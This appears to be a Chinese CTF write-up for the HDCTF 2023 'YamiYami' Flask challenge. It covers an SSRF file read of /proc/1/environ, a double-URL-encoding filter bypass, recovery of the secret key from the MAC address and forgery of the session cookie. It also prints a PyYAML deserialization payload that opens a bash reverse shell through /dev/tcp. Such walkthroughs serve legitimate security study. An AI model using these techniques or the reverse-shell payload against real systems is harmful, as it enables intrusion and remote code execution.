HDCTF 2023 YamiYami
非预期解:进入题目界面第一个点开/read路由跳转到百度,发现有文件读取,直接file:///proc/1/environ读取环境变量得flag
预期解:
在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:
这里有url二次编码可绕过过滤
1
| file:///%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a> <br> Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a> <br> Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
在/boogipop路由发现yaml.full_load(f)可知这里可以pyyaml反序列化,还需要修改session[passport]=Welcome To HDCTF2023
.然后传参file=你上传的文件就能反序列化其中的内容
前提知识:
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode()
方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。
利用为协议读取到网卡地址,在利用脚本内进行解密,修改上班
1 2 3 4 5
| import random random.seed(0x0242ac02e293) print(str(random.random()*233))
|
得到secret_key是141.04900203197468
之后session伪造
1 2
| python3 flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZQ6iLA.1bAPKmKsaDM4mePRtx9J7xw5EUk" -s "141.04900203197468" {'passport': 'YamiYami'}
|
1 2
| >python3 flask_session_cookie_manager3.py encode -s "141.04900203197468" -t "{'passport': 'Welcome To HDCTF2023'}" eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZQ6iZQ.YCpaoTH0-UzTB1p3Y82XrgKp2oU
|
1 2 3 4 5 6 7 8 9 10
| !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
|
命名1.txt在upload页面上交躲避黑名单
然后在/boogipop路由下改变session,file=uploads/1.txt
最终试了半天过不了,真是奇了怪了,好像环境有点问题